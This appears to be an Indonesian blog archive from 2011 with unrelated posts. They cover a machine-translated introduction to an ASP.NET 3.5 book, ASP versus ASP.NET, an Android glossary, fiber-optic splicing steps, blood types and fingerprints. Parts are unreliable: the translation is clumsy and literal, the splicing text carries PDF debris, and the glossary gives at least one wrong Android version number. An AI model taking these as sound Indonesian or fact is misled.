Kamis, 17 November 2011

cara mempelajari ASP.NET

Jika Anda perlu belajar ASP.NET 3.5 dan mencari langkah demi langkah tutorial yang solid, Imar Spaanjaars telah menulis sebuah buku besar dengan Wrox, Awal ASP.NET 3.5: di C # dan VB . Ada ton cara Imar membuat ASP.NET 3.5 mudah bagi Anda untuk belajar. Jika Anda lelah mencari jawaban dan ingin cara yang baik untuk belajar, inilah pengenalan Imar pada buku ini, check it out dan lihat apakah itu untuk Anda.

Untuk membangun database-driven yang efektif dan menarik situs web, Anda memerlukan dua hal: kerangka yang solid dan cepat untuk menjalankan halaman web Anda dan lingkungan yang kaya dan luas untuk membuat dan program halaman web ini. Dengan ASP.NET 3.5 dan Visual Web Developer 2008 Anda mendapatkan keduanya. Bersama-sama mereka membentuk platform untuk membuat aplikasi web dinamis dan interaktif.
ASP.NET 3.5 dibangun di atas ASP.NET yang populer pendahulunya 2.0. Sementara mempertahankan kompatibilitas dengan situs-situs yang dibangun menggunakan versi lama, Microsoft NET Framework. 3,5 pada umumnya dan khususnya ASP.NET 3.5 menambahkan banyak baru, fitur menarik untuk campuran.
Melanjutkan jalan "kode kurang" yang telah dimasukkan dengan versi 2.0 dari Framework. NET, ASP.NET 3.5 memungkinkan Anda mencapai lebih banyak dengan kode bahkan kurang. Fitur baru seperti LINQ yang ditambahkan ke NET Framework. Memungkinkan Anda untuk mengakses database dengan sedikit atau tidak ada kode yang ditulis tangan. Integrasi dari Microsoft ASP.NET Ajax ke ASP.NET dan Pengembang Kerangka Visual Web berarti Anda sekarang dapat membuat antarmuka web cepat menanggapi dan keren hanya dengan menyeret beberapa kontrol ke halaman Anda dan pengaturan beberapa properti. Buku ini memberi Anda pandangan mendalam pada kedua teknologi ini.
Dukungan untuk cascading style sheet (CSS), bahasa untuk lay out dan format halaman web, telah mengalami perbaikan besar-besaran di Visual Web Developer. Waktu desain dukungan, yang menunjukkan Anda bagaimana halaman pada akhirnya akan terlihat di browser, telah jauh lebih baik. Selain itu, Visual Web Developer sekarang kapal dengan banyak alat-alat yang membuat tulisan CSS mudah.
Namun, drag-and-drop dukungan dan alat-alat visual bukan hal yang hanya Anda akan belajar dari buku ini. ASP.NET 3.5 dan Visual Web Developer 2008 datang dengan satu set besar dan luas alat untuk membantu Anda program aplikasi web Anda. Ini berkisar alat dari sintaks LINQ baru yang memungkinkan Anda untuk query data dan database dalam aplikasi web Anda, dengan kemampuan debugging jauh lebih baik yang memungkinkan Anda untuk men-debug aplikasi Anda dari sisi klien JavaScript sepanjang jalan sampai ke server-side kode Anda, semua dengan user interface yang sama akrab, perintah, dan tindakan.
Di bawah tenda, ASP.NET 3.5 membuat penggunaan waktu berjalan sama seperti versi 2.0. Hal ini memastikan kompatibilitas dengan versi, yang berarti bahwa ASP.NET 2.0 aplikasi terus berjalan di bawah kerangka kerja baru. Tapi jangan tertipu oleh kenyataan bahwa waktu berjalan tidak berubah. Meskipun dasar-dasar teknis yang dibutuhkan untuk mengeksekusi aplikasi web Anda tidak berubah,. NET 3.5 Framework dan ASP.NET menambahkan banyak fitur baru, seperti yang akan Anda temukan dalam buku ini.
Mungkin hal terbaik tentang Visual Web Developer 2008 adalah harga: itu tersedia secara gratis. Meskipun versi komersial dari Visual Studio 2008 kapal dengan Visual Web Developer, Anda juga dapat men-download dan menginstal Express Edition gratis. Hal ini membuat Visual Web Developer 2008 dan ASP.NET 3.5 mungkin teknologi perkembangan yang paling menarik dan menarik web yang tersedia saat ini.
Siapa Buku Ini
Buku ini untuk siapa saja yang ingin belajar bagaimana membangun situs web kaya dan interaktif yang berjalan pada platform Microsoft. Dengan pengetahuan yang Anda dapatkan dari buku ini, Anda menciptakan dasar yang besar untuk membangun semua jenis situs web, mulai dari yang sederhana situs web yang berhubungan dengan hobi ke situs Anda mungkin menciptakan untuk tujuan komersial.
Orang baru untuk pemrograman web harus mampu untuk mengikuti karena tidak ada latar belakang sebelumnya dalam pengembangan web diasumsikan. Buku ini dimulai pada awal pengembangan web dengan menunjukkan Anda bagaimana untuk mendapatkan dan menginstal Visual Web Developer. Bab-bab selanjutnya secara bertahap memperkenalkan Anda pada teknologi baru, membangun di atas pengetahuan yang diperoleh dalam bab-bab sebelumnya.
Apakah Anda memiliki preferensi yang kuat untuk Visual Basic lebih dari C # atau sebaliknya? Atau apakah Anda pikir kedua bahasa sama-sama keren? Atau mungkin Anda belum membuat keputusan belum dan ingin belajar kedua bahasa? Either way, Anda akan menyukai buku ini karena semua contoh kode yang disajikan dalam kedua bahasa!
Bahkan jika Anda sudah akrab dengan versi sebelumnya dari ASP.NET, dengan versi 1.x khususnya, Anda mungkin mendapatkan banyak dari buku ini. Meskipun banyak konsep dari ASP.NET 2.0 dibawa maju ke ASP.NET 3.5, Anda akan menemukan ada sejumlah hal baru yang akan ditemukan dalam buku ini, termasuk pengantar ke LINQ, CSS baru dan debugging JavaScript alat-alat, baru ASP NET kontrol., dan dukungan terintegrasi untuk ASP.NET Ajax.
Apa This Book Covers
Buku ini mengajarkan Anda bagaimana untuk membuat fitur-kaya, situs web data-driven, dan interaktif. Meskipun ini adalah cukup seteguk, Anda akan menemukan bahwa dengan Visual Web Developer 2008 ini tidak sesulit kelihatannya. Anda akan melihat seluruh proses membangun sebuah situs web, dari menginstal Visual Web Developer 2008 di Bab 1 semua jalan sampai dengan menempatkan aplikasi web Anda pada server hidup di Bab 18. Buku ini dibagi ke dalam 18 bab, masing-masing berurusan dengan subjek tertentu.
  • Bab 1, "Memulai Dengan ASP.NET 3.5." Dalam bab ini Anda akan melihat bagaimana untuk mendapatkan dan menginstal Visual Web Developer 2008. Anda akan mendapatkan instruksi untuk men-download dan menginstal edisi gratis dari Visual Web Developer 2008, disebut Express Edition. Anda juga diperkenalkan dengan HTML, bahasa balik setiap halaman web. Bab ini ditutup dengan gambaran dari pilihan kustomisasi yang Visual Web Developer memberi Anda.
  • Bab 2, "Membangun Situs Web ASP.NET." Bab ini menunjukkan Anda bagaimana untuk membuat situs web baru dan bagaimana untuk menambahkan elemen baru seperti halaman untuk itu. Selain belajar cara membuat situs baik-terstruktur, Anda juga melihat bagaimana menggunakan alat-alat banyak di Visual Web Developer untuk membuat HTML dan halaman ASP.NET.
  • Bab 3, "Merancang Halaman Web Anda." Visual Web Developer dilengkapi dengan sejumlah alat yang memungkinkan Anda untuk membuat yang dirancang dengan baik dan halaman web yang menarik. Dalam bab ini, Anda melihat bagaimana untuk membuat baik penggunaan alat ini. Selain itu, Anda belajar tentang CSS, bahasa yang digunakan untuk memformat halaman web.
  • Bab 4, "Bekerja dengan Kontrol ASP.NET." Kontrol Server ASP.NET adalah salah satu konsep yang paling penting di ASP.NET. Mereka memungkinkan Anda untuk membuat kompleks dan kaya fitur situs web dengan sangat sedikit kode. Bab ini memperkenalkan Anda dengan jumlah besar kontrol server yang tersedia, menjelaskan apa yang mereka digunakan untuk, dan menunjukkan cara menggunakannya.
  • Bab 5, "Pemrograman Web ASP.NET Halaman Anda." Meskipun built-in tools CSS dan Kontrol Server ASP.NET dapat membuat Anda jauh dalam membuat halaman web, Anda cenderung menggunakan bahasa pemrograman untuk meningkatkan halaman Anda . Bab ini berfungsi sebagai pengantar pemrograman dengan fokus yang kuat pada pemrograman halaman web. Terbaik dari semua: semua contoh yang Anda lihat dalam bab ini (dan sisanya dari buku ini) adalah di kedua Visual Basic dan C #, sehingga Anda dapat memilih bahasa yang Anda sukai.
  • Bab 6, "Membuat Situs Web Mencari Konsisten." Konsistensi adalah penting untuk memberikan situs web Anda banding menarik dan profesional. ASP.NET membantu Anda membuat halaman yang tampak konsisten melalui penggunaan halaman master, yang memungkinkan Anda untuk menentukan tampilan global dan nuansa halaman. Kulit dan tema membantu Anda untuk memusatkan terlihat kontrol dan elemen visual lain di situs Anda. Anda juga melihat bagaimana untuk membuat halaman dasar yang membantu untuk mensentralisasi kode program yang Anda butuhkan pada semua halaman di situs Anda.
  • Bab 7, "Navigasi." Untuk membantu pengunjung Anda menemukan jalan mereka di situs Anda, ASP.NET dilengkapi dengan sejumlah kontrol navigasi. Kontrol ini digunakan untuk membangun struktur navigasi dari situs Anda. Mereka dapat terhubung ke peta situs pusat situs anda, mendefinisikan halaman dalam situs web Anda. Anda juga belajar bagaimana untuk pemrograman mengirim pengguna dari satu halaman ke halaman lainnya.
  • Bab 8, "Kontrol Pengguna." Kontrol Pengguna adalah fragmen halaman reusable yang dapat digunakan dalam beberapa halaman web. Dengan demikian, mereka yang besar untuk mengulangi konten seperti menu, spanduk, dan sebagainya. Dalam bab ini, Anda belajar bagaimana membuat dan menggunakan kontrol pengguna dan meningkatkan mereka dengan beberapa program intelijen.
  • Bab 9, "Memvalidasi Pengguna Input." Sebagian besar interaktivitas di situs Anda ditentukan oleh masukan dari pengguna Anda. Bab ini menunjukkan Anda bagaimana untuk menerima, memvalidasi, dan proses input pengguna menggunakan Kontrol ASP.NET Server. Selain itu, Anda melihat bagaimana untuk mengirim e-mail dari aplikasi web ASP.NET Anda dan bagaimana untuk membaca dari file teks.
  • Bab 10, "ASP.NET Ajax." Memungkinkan Microsoft ASP.NET Ajax Anda untuk membuat terlihat baik, flicker halaman web gratis yang menutup kesenjangan antara aplikasi desktop tradisional dan aplikasi web. Dalam bab ini Anda belajar bagaimana menggunakan built-in fitur Ajax untuk meningkatkan kehadiran halaman web Anda, sehingga interaksi halus dengan situs web.
  • Bab 11, "Pengantar Database." Memahami bagaimana menggunakan database sangat penting untuk membangun situs web modern, karena kebanyakan situs web modern memerlukan penggunaan database. Anda akan mempelajari dasar-dasar SQL, bahasa query yang memungkinkan Anda untuk mengakses dan mengubah data dalam database. Selain itu, Anda diperkenalkan dengan alat database ditemukan di Visual Web Developer yang membantu Anda membuat dan mengelola database SQL Server.
  • Bab 12, "Menampilkan dan Meng-update data." Membangun pengetahuan Anda peroleh dalam bab sebelumnya, bab ini menunjukkan Anda bagaimana menggunakan sumber ASP.NET data-terikat dan data kontrol untuk membuat antarmuka yang kaya yang memungkinkan pengguna Anda untuk berinteraksi dengan data dalam database bahwa sasaran kontrol.
  • Bab 13, "LINQ." LINQ adalah solusi baru Microsoft untuk mengakses objek, database, XML, dan banyak lagi. Dalam bab ini Anda akan melihat bagaimana menggunakan LINQ to SQL untuk mengakses database SQL Server. Alih-alih menulis banyak kode manual, Anda menciptakan sekelompok objek LINQ yang melakukan pekerjaan yang berat untuk Anda. Bab ini menunjukkan apa LINQ adalah semua tentang, bagaimana menggunakan LINQ desainer visual yang dibangun ke dalam Visual Web Developer, dan bagaimana menulis query LINQ untuk mendapatkan data masuk dan keluar dari database SQL Server Anda.
  • Bab 14, "Menyajikan Data:. Topik Lanjutan" Sementara bab-bab sebelumnya difokuskan terutama pada dasar teknis bekerja dengan data, bab ini melihat pada topik yang sama dari perspektif front-end. Anda lihat bagaimana mengubah tampilan visual data Anda melalui penggunaan gaya kontrol. Anda juga melihat bagaimana berinteraksi dengan data-terikat kontrol dan bagaimana untuk mempercepat aplikasi Anda dengan menyimpan salinan setempat dari data yang sering diakses.
  • Bab 15, "Keamanan di 3,5 Situs Web ASP.NET Anda." Meskipun agak terlambat disajikan dalam buku ini, keamanan adalah yang pertama-kelas, topik penting. Bab ini menunjukkan kepada Anda bagaimana menggunakan built-in ASP.NET fitur yang berkaitan dengan keamanan. Anda belajar tentang beberapa layanan aplikasi yang memfasilitasi keamanan. Anda juga belajar tentang bagaimana membiarkan pengguna mendaftar untuk account di situs web Anda, bagaimana membedakan antara anonim dan login pada pengguna, dan bagaimana untuk mengelola pengguna dalam sistem anda.
  • Bab 16, "personalisasi Web Sites." Bangunan pada fitur keamanan diperkenalkan di Bab 15, bab ini menunjukkan Anda bagaimana untuk membuat halaman web pribadi dengan konten yang ditargetkan pada pengguna individu. Anda melihat bagaimana mengkonfigurasi dan menggunakan ASP.NET Profil yang memungkinkan Anda untuk menyimpan data pribadi bagi pengunjung dikenal dan anonim.
  • Bab 17, "Penanganan Exception, Debugging, dan tracing." Dalam rangka untuk memahami, meningkatkan, dan memperbaiki kode Anda menulis untuk web Anda halaman ASP.NET Anda perlu alat debugging yang baik. Visual Web Developer kapal dengan dukungan debugging yang besar yang memungkinkan Anda untuk mendiagnosa keadaan aplikasi Anda pada waktu berjalan, membantu Anda untuk menemukan dan memperbaiki masalah sebelum pengguna Anda lakukan.
  • Bab 18, "Menyebarkan Situs Web Anda." Pada akhir buku ini, Anda harus memiliki situs web yang siap untuk ditampilkan ke seluruh dunia. Tapi bagaimana tepatnya Anda melakukannya? Apa hal-hal yang perlu Anda ketahui dan mengerti untuk menempatkan situs web Anda keluar di alam liar? Bab ini memberikan jawaban dan menyediakan Anda dengan baik melihat mengkonfigurasi sistem produksi yang berbeda dalam rangka untuk menjalankan situs web akhir Anda.
Bagaimana Buku Ini Terstruktur
Buku ini mengambil waktu untuk menjelaskan konsep-konsep langkah-demi-langkah menggunakan contoh-contoh kerja dan penjelasan rinci. Menggunakan Wrox terkenal Cobalah Out dan Cara Bekerja bagian, Anda akan dipandu melalui langkah demi langkah tugas, merinci hal-hal penting karena Anda maju melalui tugas. Setiap Cobalah Out tugas diikuti dengan rinci Cara Bekerja bagian yang menjelaskan langkah-langkah yang dilakukan dalam latihan.
Pada akhir setiap bab, Anda menemukan latihan yang membantu Anda menguji pengetahuan Anda peroleh dalam bab ini. Anda akan menemukan jawaban atas setiap pertanyaan dalam Lampiran A di bagian akhir buku ini. Jangan khawatir jika Anda tidak mengetahui semua jawaban atas pertanyaan. Kemudian bab jangan menganggap Anda mengikuti dan melaksanakan tugas-tugas dari bagian pelaksanaan bab-bab sebelumnya.
Apa yang Harus Anda Menggunakan Buku Ini
Buku ini mengasumsikan Anda memiliki sistem yang memenuhi persyaratan sebagai berikut:
  • Mampu menjalankan Visual Web Developer. Untuk persyaratan sistem yang tepat, berkonsultasi dengan file readme yang dilengkapi dengan perangkat lunak.
  • Menjalankan Windows XP Professional Edition, Windows Vista (setidaknya edisi Home Premium), atau salah satu edisi server Windows.
Meskipun Anda harus dapat mengikuti bersama dengan latihan yang paling menggunakan Windows XP Home atau Windows Vista Basic, beberapa bab dalam buku ini memerlukan penggunaan IIS, web server Microsoft, yang hanya kapal dengan versi Windows di daftar persyaratan.
Bab pertama menunjukkan Anda bagaimana untuk mendapatkan dan menginstal Visual Web Developer 2008, yang pada gilirannya menginstal Microsoft NET versi Kerangka 3.5 dan SQL Server 2005 Express Edition;. Semua yang Anda butuhkan adalah sebuah sistem operasi yang baik..........

Rabu, 16 November 2011

Perbedaan antara ASP dan ASP.NET

ASP singkatan dari Active Server Pages. ASP.NET adalah generasi baru dari ASP. Setelah perkenalan ASP.NET, ASP lama disebut 'ASP klasik'.

ASP klasik menggunakan vb script untuk kode server side. VB Script sudah tidak disupport lagi dalam ASP.NET. Sebagai gantinya ASP.NET mensupport lebih banyak bahasa pemrograman termasuk C#, VB.NET, J# dan lainnya. VB.NET sangat mirip dengan vb script, jadi akan mudah untuk programmer Visual Basic atau ASP untuk berpindah ke VB.NET dan ASP.NET.

VB Script adalah bahasa script yang sederhana, sedangkan VB.NET atau C# adalah bahasa pemrograman yang modern, sangat powerful, bahasa pemrograman berorientasi objek. Dengan alasan itulah anda akan dapat menulis program ASP.NET lebih baik dibanding ASP.

Pada ASP klasik tidak ada server control. Anda harus menulis semua tag html secara manual. ASP.NET menawarkan banyak control yang disebut Server Control dan Html Control. Sangat mudah untuk men-drag dan drop control apapun pada sebuah web form. Visual Web Developper (Express) atau VS.NET akan secara otomatis menuliskan tag HTML yang diperlukan untuk anda.

ASP adalah interpereted, ASP.NET adalah compiled

Karena ASP menggunkana vb script, maka tidak ada proses kompilasi. Semua halaman ASP di-interpreted pada saat halaman web dieksekusi.

ASP.NET menggunkana bahasa .NET modern sepertiC#, VB.NET dan lainnya. Bahasa pemrograman ini dapat dikompilasi ke dalam Microsoft Intermediate Language (MSIL) yang efisien. Ketika anda meng-compile aplikasi ASP.NET, kode server side dikompilasi ke dalam bentuk assemblies. Assembliers di-load pada saat run-time yang membuat halaman ASP.NET berjalan lebih baik dari ASP klasik.

ADO dan ADO.NET

ASP klasik menggunakan teknologi yang disebut ADO untuk koneksi dan bekerja dengan database. ASP.NET menggunakan teknologi ADO.NET (yang merupakan generasi baru dari ADO)

Even driven programming

Jika anda sudah pernah menulis Visual Basic, anda akan menyukai even driven programming approach. Mudah untuk men-drag and drop sebuah control tombol dan men-double-klick pada tombol untuk menulis event handler untuk even on click pada tombol tersebut. Ketika anda mengklik tombol pada saat run time, hal ini akan menjalankan apapun kode yang sudah anda tuliskan pada even handler on click pada tombol tersebut.

Tipe even driven programming ini tidak ada pada ASP klasik. Anda tidak dapat men-drag dan drop tombol dan menulis 'on click' even handler dengan ASP.

Dengan ASP.NET, hal ini berubah. Hal ini sangat mirip dengan program Visual Basic. Anda dapat menulis even handler seperti button click even, text changed even dan lainnya.

Walau bagaimanapun, ada perbedaan besar antara cara even handling bekerja dalam Visual Basic dengan ASP.NET. Pada ASP.NET, halaman web di load pada browser di komputer client. Dan server berada di lokasi yang berbeda (bisa saja di negara lain). Ketika anda meng-klick sebuah tombol pada halaman web ASP.NET, maka 'click even' handler harus dieksekusi di server, tidak di komputer client.

Bagaimana server tahu ketika anda meng-click sebuah tombol pada browser anda? Ini adalah trik dari ASP.NET. Ketika anda menulis even handler untuk tombol atau yang lainnya pada ASP.NET, banyak hal terjadi di belakang layar. ASP.NET akan membuat banyak kode javascript client side untuk menangani ini dan menyatukan javascript ini pada kode html yang dikirim ke browser. Ketika anda meng-klick tombol pada browser, maka client side javascript akan dieksekusi. Javascript ini akan menghasilkan informasi yang diperlukan untuk mensubmit request ke server. Ada cukup informasi pada request ini sehingga server akan mengetahui bahwa user telah meng-klick tombol tertentu pada browser dan server harus menjalankan kode 'even handler' tertentu pada server side. Jadi, ketika user meng-klick pada tombol, halaman web di-submit secara otomatis ke server dengan informasi khusus. Pada sisi server, akan diproses even handler pada tombol on click dan mengirimkan kembali output halaman web ke browser. Dengan cara yang sama anda juga dapat menulis kode untuk event handler yang lain, misalnya untuk perubahan text pada text box atau control yang lainnya.

Istilah-Istilah di Android

Buat para pengguna android nigh..
ga ada salahnya belajar istilah2 yang sering di denger ketika kita berANDROID RIA...
yah paling ga kita tahu dan ga ketinggalan informasi saja.
masak punya hp bagus bisanya cuma buat telpon atau sms saja
malu dong sama anak TK hahahah
anak TK aja dagh bisa pesbukan pakai hp hahaha Wink

APK = Android Package, kyk IPA di iPhone (buat pngguna iPhone), SISdi Symbian
s60 (ga tau sih skrg masih sis ap ngga), atau JAR di BB(buat pengguna BB) dan
java based devices lainnya.. intinya, file2 dgnekstensi .apk bisa digunakan
untuk menginstall aplikasi di androiddevice..

BRICK(ed) = kondisi dmana device sudah tidak bisa di-recover,sehingga bisa
dianggap seperti batu-bata (brick)

adb = command buat ngejembatani perintah di android lewat pc..klo adb shell
termasuk bagiannya..extensi command adb ada banyak bro, seperti adb push, adb
pull, adb install dll...syarat adb bisa jalan = driver adb mesti sdh terpasang
di pc...biasanya di device manager (windows) akan terlihat andoid adb
composite device, driver adb biasanya dari vendor pembuat devicenya..klo nexus,
htc magic, dream bisa pakai driver bawaan usb...kalo motorola milestone bisa
dari cd bawaannya atau pakai motorola software update...

adb.exe = bisa di ambil dari sdk (dah include didlm android sdk)..ada di folder
tools, untuk mengetahui fungsi command adb bisa dgn mengetik "adb help"

adb shell logcat = buat mengetahui proses yg terjadi diandroid, berguna banget
saat experiment flashing rom...

IMAP = Internet Message Access Protocol, salah satu protocol untuk retreive
email selain POP3

POP3 = Post Office Protocol 3, salah satu protocol TCP/IP port 110 dalam
menarik email

Widget = salah satu aplikasi yang GUI nya lebih bersifat interaktif

GUI = Graphical User Interface , interface aplikasi yang lebih bersifat graphic


Robot ijo = julukan nya untuk android , karena logo nya android berbentuk robot
dan warna nya hijau *cmiiw*

GMS = Google Market Services, tempat download nya aplikasi2 di Android (kayak
apps store di iphone, appworld di BB)

N1 / Nexus One = google phone pertama yang berbasis android dibuat oleh HTC

Miley = julukan untuk Milestone, salah satu android rakitan nya Motorola

BW = bandwidth

Root = super user di salah OS (dalam hal ini Android)

nge-root = proses untuk merubah privilage dari user biasa jadi root

Apps2SD = Proses memindahkan/menyimpan aplikasi ke SDcard selain ke
memori internal,

AOSP = Android Open Source Project,

Boot = Proses menghidupkan handheld,

Bootloader = gabungan SPL dan IPL yg menjadi dasar dr sebuah device,

Bootloader Mode - FASTBOOT load = Tombol Camera + Power, pada mode
boot ini, kita bisa meng-install image sebuah sistem yang ada/ditaruh
di SDcard dengan menekan tombol Power lagi,

Cache2SD = Proses memindahkan/menyimpan Cache dari ROM ke SDcard,

Cupcake ( kue mangkok ) = Google internal code name for the Android OS
version 1.5,

Dalvik = versi lite nya Java Virtual Machine (JVM) yg di pake di dlm
Android,

Diagnostic Mode = Tombol Capture + Power. mode boot untuk test ( pake
tombol volume untuk pilih item ),

Donut ( Donat ) = Google internal code name for the Android OS version
1.6,

Eclair = Google internal code name for the Android OS version 2.0,

Froyo ( Frozen Youghurt - Youghurt beku ) = Google internal code name
for the Android OS vesion 2.1,

Fastboot : Tool yg digunakan untuk mem-flash image sistem ke handheld
dr komputer,

NAND : Tipe flash memory yang digunakan di handheld, The type of flash
memory that is used in the HTC Dream, istilah ini biasanya digunakan
menggantikan istilah ROM,

Nandroid : utility yg dipake buat bikin image untuk backup maupun
restore,

Normal Mode : cara normal menghidupkan handheld,

OTA : Over The Air, suatu metode pengiriminan data, biasanya istilah
dipake pd aktifitas meng-update (istilah lainna mgkn download),

Recovery Mode : Tombol Home + Power, pada mode boot ini, kita bisa
membuka shell..mem-flash image..bikin Backup maupun Restore. Teken
Call + Menu + Power beberapa kali untuk keluar dr mode ini,

ROM : Read Only Memory, suatu area dr flash memory yang gak bisa
"ditulis/diisi",

Safe Mode : Tombol Menu + Power, boot handheld secara normal tetapi
tanpa registrasi dengan Google, makana aplikasi2 yg berhubungan
denganna gk bakalan berfungsi ( Map, Gmail account, Market, dll),

SPL : Secondary Program Loader (mirip kaya BIOS - Basic Input Output
System ), bagian kedua terdiri dari bootloader

Share cara Instalasi Kabel F.O ( Fiber Optik )

PROSES PENYAMBUNGAN
1. Penyambungan serat
• Pengupasan kabel dengan panjang serat ± 2 m
• Pengupasan selubung serat dengan Fiber Stripper
• Bersihkan ujung serat dengan tissu yang dibasahi alkohol/bisa juga
mengggunakan colognet tissu.
• Potong ujung serat dengan Fiber Cleaver dengan disisakan ± 1,5 cm – 2 cm
• Pengecekan potongan serat optik pada splicing machine
• Penyambungan serat optik dengan peleburan (Fusion Splacer)

2. Penyambungan kabel optik
• Kupas PE luar kabel sepanjang ± 1m dengan Lupsheet Cutter
• Belah PE dalam menjadi 2 bagian dengan kedalaman ± 4 cm
• Masukkan Bousing with Boundering wire ke dalam belahan PE
• Pasang kedua klem hingga menjepit bousing dan kencangkan dengan kunci
sock
• Amplas kulit kabel dan bersihkan dengan tissu basah sesuai ukuran
• Pasang sealing tape pertama pada bagian yang sudah diamplas
V
GROVE
4 cmPage 18 of 22
• Pasang Rubber end block menutup sealing tape pertama. Pasang sealing tape 2
pada bagian atas Rubber end block lalu ikat dengan stainless steel
• Potong spacer/slotted ± 45 mm dan strength member ± 75 cm
• Pasang tension member clamp pada strength member
• Pasang penyangga tray pada kedua ujung kabel
• Penyambungan serat dan pemanasan sleeve
• Pengaturan fiber pada tray
• Tutup dengan fiber cover dan pasang clamping bar bagian atas
• Pasang bounding wire dan kencangkan semua baut
• Tutup sambungan dengan clousure / main sleeve
C. METODA TERMINASI KABEL OPTIK
Terminasi kabel serat optik dapat dilakukan dengan 3 cara, yaitu :
• Cable Termination Frame (CTF)
• Cable Termination Box (CTB)
• Terminasi kabel optik secara langsung
Penjelasan :
Cable Termination Frame (CTF)
• Adalah cara terminasi kabel serat optik dengan menggunakan End Closure, pig
tail dan konektor. Sambungan serat optik dengan pig tail disimpan didalam end
closure.
• Bila konektor yang terpasang didalam kabinet adalah 96 buah, maka jumlah
sambungan serat optik juga 96 buah.
• Metoda terminasi CTF mempunyai kapasitas besar, tetapi harganya lebih mahal
dibandingkan dengan cara terminasi yang lainnya. Terminasi model CTF terlihat
pada gambar 3.3
Cable Termination Box (CTB)Page 19 of 22
• Adalah cara terminasi kabel serat optik dengan menggunakan pig tail dan
konektor ( tanpa menggunakan end closure ).
• Dengan demikian terminasi CTB lebih murah dibandingkan dengan terminasi
CTF. Metoda ini sambungan serat optik dengan pig tail disimpan didalam box
atau kabinet dimana didalamnya juga terpasang konektor-konektor.
• Metoda terminasi ini mempunyai kapasitas yang lebih kecil dibandingkan dengan
terminasi CTF. Terminasi model CTB diperlihatkan pada gambar 14.
Terminasi kabel optik secara langsung
• Adalah cara terminasi kabel serat optik dengan menggunakan konektor (tanpa
menggunakan pig tail dan end closure).
• Dengan demikian dari segi ekonomis, terminasi ini adalah termurah dibandingkan
dengan terminasi model lain.. Dalam metoda ini kualitas asembling konektor pada
setiap serat optik harus memenuhi standar loss konektor yaitu 0,5dB. Sehingga
diperlukan pengalaman didalam asembling konektor, karena sangat sulit
mencapai nilai standar loss konektor tersebut.
MH
Duct scaning
Cable vault
Kantor telepon
pannel
pig tail
CTB cabinet
ruang equipment
fiber optik
(pig tail)
rak kabel
splicing
cable snaft
Gambar.3.3. Cable Termination Frame (CTF) Page 20 of 22
Prosedur Terminasi Kabel Optik
Hal-hal yang harus diperhatikan dalam pekerjaan terminasi kabel optik :
• Penangan kabel optik pada saat membuat lengkungan tidak boleh melebihi bending
radius kabel yang diijinkan.
• Jaga kebersihan adaptor dan konektor dari debu dan kotoran
• Hati-hati jangan mengganggu kabel dan peralatan transmisi yang sedang beroperasi.
Prosedur Pekerjaan Terminasi

Mengapa Golongan Darah Manusia Berbeda?

Manusia merupakan makhluk yang memiliki banyak misteri. Pernahkah Anda bertanya-tanya mengapa golongan darah tiap orang berbeda-beda?

Keberadaan golongan darah manusia yakni untuk menangkis penyakit menular. Namun, ketidakcocokan beberapa golongan darah sebenarnya hanyalah sebuah kecelakaan evolusi pada manusia itu sendiri.

Terdapat empat empat jenis golongan darah utama. Golongan darah A merupakan golongan darah paling kuno. Pasalnya, golongan darah ini sudah ada sejak sebelum spesies manusia berevolusi dari moyang hominidnya.
Mengapa Golongan Darah Manusia Berbeda

Golongan darah B diduga kuat berasal dari 3,5 juta tahun silam dari mutasi genetik yang memodifikasi salah satu gula yang berada di permukaan sel darah merah. Dimulai pada 2,5 juta tahun silam, mutasi terjadi dan membuat gen gula itu menjadi lamban.

Alhasil, tercipta golongan darah O yang tak memiliki versi gula dari golongan darah A atau B. Kemudian, ada golongan darah AB yang memiliki gula golongan darah A dan B. Gula inilah yang membuat beberapa jenis golongan darah tak cocok.

Jika darah dari donor bergolongan darah A diberikan pada orang dengan golongan darah B, sistem kekebalan tubuh penerima akan mengenali gula asing itu sebagai penyerbu dan isyarat serangan.

Reaksi kekebalan yang terjadi bisa sangat mematikan. Golongan darah O negatif dikenal sebagai "donor universal" karena tak memiliki molekul yang akan memprovokasi reaksi tersebut, "negatif" dalam hal ini kurangnya jenis molekul permukaan lain yang dikenal sebagai antigen Rh.

Namun, ketidakcocokan bukanlah bagian dari alasan manusia memiliki golongan darah, kata kepala pengobatan transfusi Harvey Klein di National Institute of Health Clinical Center.

"Transfusi darah merupakan fenomena baru (ratusan tahun, bukan jutaan tahun lalu), dan karenanya hal ini tak ada hubungannya dengan evolusi golongan darah," paparnya.

Penyebab evolusi atau setidaknya salah satu di antaranya adalah penyakit. Misalnya menurut ahli hematologi Christine Cserti-Gazdewich dari Toronto General Hospital, malaria tampaknya menjadi kekuatan utama di balik selektifitas golongan darah O.

Golongan darah O lebih umum dijumpai di Afrika dan bagian lain dari dunia yang memiliki beban tinggi malaria. Hal ini menunjukkan, golongan darah membawa semacam keuntungan evolusi.

"Dalam kasus ini, keuntungannya adalah, sel-sel yang terinfeksi malaria tak menempel dengan baik pada sel darah golongan darah O atau B," kata Cserti-Gazdewich. Sel darah yang terinfeksi malaria cenderung menempel sel dengan gula golongan darah A.

Setelahnya, gumpalan yang dikenal sebagai "mawar" akan terbentuk dan gumpalan ini bisa sangat mematikan ketika terbentuk di organ vital, seperti otak.

Akibatnya menurut hasil studi 2007 yang diterbitkan di Proceedings of the National Academy of Sciences, orang bergolongan darah O tak akan merasakan sakit yang terlalu parah saat terinfeksi malaria.

Di sisi lain, orang bergolongan darah O lebih rentan pada penyakit lainnya. Misalnya, orang bergolongan darah O lebih rentan pada Helicobacter Pylori, bakteri yang menyebabkan bisul, kata Klein.

Namun sayangnya, hasil riset belum menunjukkan apakah hal tersebut atau beberapa penyakit lain menjelaskan mengapa manusia masih memiliki golongan darah.

sidik jari

Sidik jari merupakan identitas pribadi yang tak mungkin ada yang menyamainya. Jika di dunia ini hidup 6 miliar orang, maka ada 6 miliar pola sidik jari yang ada dan belum ditemukan seseorang yang memiliki sidik jari yang sama dengan lainnya. Karena keunikannya tersebut, sidik jari dipakai oleh kepolisian dalam penyidikan sebuah kasus kejahatan (forensik). Makanya pada saat terjadi sebuah kejahatan, TKP akan diclear up dan dilarang bagi siapa saja untuk masuk karena dikhawatirkan akan merusak sidik jari penjahat yang mungkin tertinggal di barang bukti yang ada di TKP.



